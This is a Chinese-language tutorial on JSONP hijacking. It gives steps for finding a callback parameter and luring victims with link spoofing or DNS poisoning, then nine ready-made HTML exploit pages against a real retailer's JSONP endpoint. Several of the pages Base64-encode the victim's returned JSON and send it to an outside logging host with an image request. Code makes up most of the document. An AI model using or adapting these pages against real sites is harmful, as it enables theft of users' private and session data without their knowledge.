JSONP跨站劫持漏洞的测试过程如下:
1.查找目标网站是否使用JSONP接口。可以通过查看响应头中是否包含"Content-Type: application/javascript"等信息判断。
2.分析JSONP接口和回调函数参数。常见的JSONP回调函数参数有:callback、cb、jsonp、jsonpCallback等。需要确定目标网站使用的具体参数名称。
3.构造跨站URL以劫持JSONP响应。URL格式通常为: https://vulnerable_website/jsonp_endpoint?callback=attacker_controlled_callback
其中attacker_controlled_callback是攻击者控制的JavaScript函数名称。
4.在自己控制的网站上设置一个attacker_controlled_callback 数,用于接收劫持的JSONP响应。
5.诱导目标用户访问构造的跨站URL。常见的诱导手段有:链接欺骗、DNS污染等。
6.当目标用户访问跨站URL时,请求会发送到vulnerable_website,该网站会返回一个JSONP响应,响应中会调用attacker_controlled_callback函数并传入数据作为参数。
7.attacker_controlled_callback函数在攻击者的网站上执行,从而接收到目标网站传回的JSONP数据,达到跨站劫持的目的。
8.分析劫持的数据,可能包含用户隐私、会话信息等敏感内容。
所以,JSONP 跨站劫持漏洞的测试关键在于确认目标网站使用 JSONP 接口,构造跨站 URL 以劫持响应,并在自己的网站上设置回调函数来接收数据。成功利用该漏洞可以获取目标网站敏感数据。
JSONP EXP
方法一:JavaScript调用
弹窗代码(弹窗JSON数据):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script>
function jsoncallback(json){
//new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)
alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body>
</html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script>
function jsoncallback(json){
new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)
//alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script>
function jsoncallback(json){
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(json))))
//alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body>
</html>
方法二:jQuery jsonp跨域请求
弹窗代码(弹窗JSON数据):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //定GET请求方法
dataType: "jsonp", //定服务器返回的数据类型
jsonp: "callback", //定参数名称
jsonpCallback: "jsoncallback",
//定回调函数名称
success: function (data) {
var result = JSON.stringify(data);
//json对象转成字符串
$("#text").val(result);
}
})
})
})
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //定GET请求方法
dataType: "jsonp", //定服务器返回的数据类型
jsonp: "callback", //定参数名称
jsonpCallback: "jsoncallback",
//定回调函数名称
success: function (data) {
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(data))))
//var result = JSON.stringify(data);
//json对象转成字符串
//$("#text").val(result);
}
})
})
})
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
两者同时操作:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //定GET请求方法
dataType: "jsonp", //定服务器返回的数据类型
jsonp: "callback", //定参数名称
jsonpCallback: "jsoncallback",
//定回调函数名称
success: function (data) {
var result = JSON.stringify(data);
//json对象转成字符串
$("#text").val(result);
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(result)))
}
})
})
})
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
方法三:jQuery JacaScript调用
弹窗代码(弹窗JSON数据):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
//回调函数
function jsoncallback (result) {
var data = JSON.stringify(result); //json对象转成字符串
$("#text").val(data);
}
$(document).ready(function () {
$("#button").click(function () {
//向头部输入一个脚本,该脚本发起一个跨域请求
$("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");
});
});
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
//回调函数
function jsoncallback (result) {
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(result))))
//var data = JSON.stringify(result); //json对象转成字符串
//$("#text").val(data);
}
$(document).ready(function () {
$("#button").click(function () {
//向头部输入一个脚本,该脚本发起一个跨域请求
$("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");
});
});
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
两者同时操作:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
//回调函数
function jsoncallback (result) {
var data = JSON.stringify(result); //json对象转成字符串
$("#text").val(data);
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(data)))
}
$(document).ready(function () {
$("#button").click(function () {
//向头部输入一个脚本,该脚本发起一个跨域请求
$("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");
});
});
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>。